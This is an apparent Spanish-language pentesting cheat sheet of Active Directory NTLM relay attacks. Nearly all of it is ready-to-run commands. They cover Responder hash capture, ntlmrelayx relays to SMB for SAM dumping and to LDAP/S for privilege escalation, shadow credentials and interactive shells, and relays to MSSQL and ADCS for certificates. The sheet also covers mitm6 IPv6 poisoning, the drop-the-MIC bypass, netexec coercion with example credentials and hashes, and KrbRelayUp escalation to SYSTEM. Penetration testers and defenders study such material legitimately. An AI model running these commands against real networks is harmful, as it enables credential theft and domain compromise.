#ActiveDirectory #smb #kerberos #adcs #netexec
Modo capturar hashes
sudo responder -I eth0 -wdFls -la /usr/share/responder/logsFiltrar por hashes distintos
ls -la /usr/share/responder/logs | awk '{print $NF}' | tail -n 15 | xargs cat | grep '::DOMAIN' | sort | uniqExtraer usuarios válidos de los hashes
cat /usr/share/responder/logs | tr ':' ' ' | awk '{print $1}' | sort | uniq | grep -vE ',|\/|-|#'Modo relay para SMB (volcar SAM)
Aquí la idea es relayar las conexiones de administradores que se equivoquen al escribir la ruta de una carpeta en red por ejemplo. Esta conexión se relaya hacia el resto de máquinas de la red que no exigen firma y se dumpea la SAM.
Generamos una lista de relay con todos los activos que no tienen smb firmado
nxc smb ip/24 --gen-relay-list relay.txtsudo nano /etc/responder/Responder.confPonemos en OFF SMB y HTTP
sudo responder -I eth0 -FPvsudo impacket-ntlmrelayx.py -tf relay.txt -smb2supportnxc smb IP/24 -U USER -H HASH --local-auth --samModo relay IPV6
sudo python3 mitm6.py -d DOMAINimpacket-ntlmrelayx -6 -wh 10.17.0.213 -tf formated_relay.txt -socks -debug -smb2supportModo relay SMB a LDAP/S
sudo $(which ntlmrelayx.py) -t ldap://192.168.56.5 --escalate-user krennic -smb2supportCVE-2019-1040 — esto permite eliminar la firma MIC (Message Integrity Code) del mensaje NTLM, conocido como drop-the-MIC:
sudo $(which ntlmrelayx.py) -t ldap://192.168.56.5 --escalate-user krennic -smb2support --remove-micsudo ntlmrelayx.py -t ldap://10.129.244.95 -smb2support --no-wcf-server --remove-mic --escalate-user a.whitesudo ntlmrelayx.py -t ldap://10.129.244.95 -smb2support --no-wcf-server --remove-mic --shadow-credentials --shadow-target a.white_admLdap shell (mejor con ldaps)
sudo ntlmrelayx.py -t ldap://10.129.244.95 -smb2support --no-wcf-server --remove-mic --no-dump --no-da --no-acl --no-validate-privs -isudo ntlmrelayx.py -t ldaps://10.129.244.95 -smb2support --no-wcf-server --remove-mic --no-dump --no-da --no-acl --no-validate-privs -iModo relay SMB a MSSQL
sudo $(which ntlmrelayx.py) -t mssql://192.168.56.6 -smb2supportPara generar persistencia 💡
sudo $(which ntlmrelayx.py) -t mssql://192.168.56.6 -smb2support -socks -debugproxychains mssqlclient.py EMPIRE/CORUSCANT\$@192.168.56.6 -windows-auth -no-passModo relay SMB a HTTP (ADCS)
Dependiendo del caso podemos solicitar un certificado de tipo DomainController o User también
sudo $(which ntlmrelayx.py) -t http://192.168.56.7/certsrv/certfnsh.asp --adcs --template Machine --remove-mic -debugnxc smb 192.168.56.8 -u 'poe' -H 'e34476e34ffced85899127b84ea71eee' -M coerce_plus -o 'LISTENER=192.168.56.1'❗️ No puedes relayar contra el mismo equipo (si el DC y el servidor de certificados son el mismo )
Probar Coerción con netexec
Si recibimos hashes entonces ha sido éxito
sudo python3 Responder.py -I vboxnet0 -wdFnxc smb empire.local -u 'krennic' -p 'liu8Sith' -M coerce_plus -o 'LISTENER=192.168.56.1'Herramienta automática: RelayKing 👑
python3 relayking.py -u 'krennic' -p 'liu8Sith' -d empire.local --dc-ip 192.168.56.5 -vv --audit --protocols smb,ldap,ldaps,mssql,http,https --threads 10 -o plaintext,json --output-file relayking-scan --proto-portscan --ntlmv1Relay de kerberos
🔗 https://www.thehacker.recipes/ad/movement/kerberos/relay
Enumerar CVEs
nxc smb 10.129.36.164 -u 'svc_scan' -p 'Sunshine1' -M enum_cveEscalada de Privilegios con reflection/relay de Kerberos a LDAP (KrbRelayUp)
🔗 https://github.com/Dec0ne/KrbRelayUp/tree/main
Necesario:
- Acceso local como un usuario de bajo privilegio
- LDAP sin fimar
- ms-DS-MachineAccountQuota > 0
Resultado:
- Escalar a SYSTEM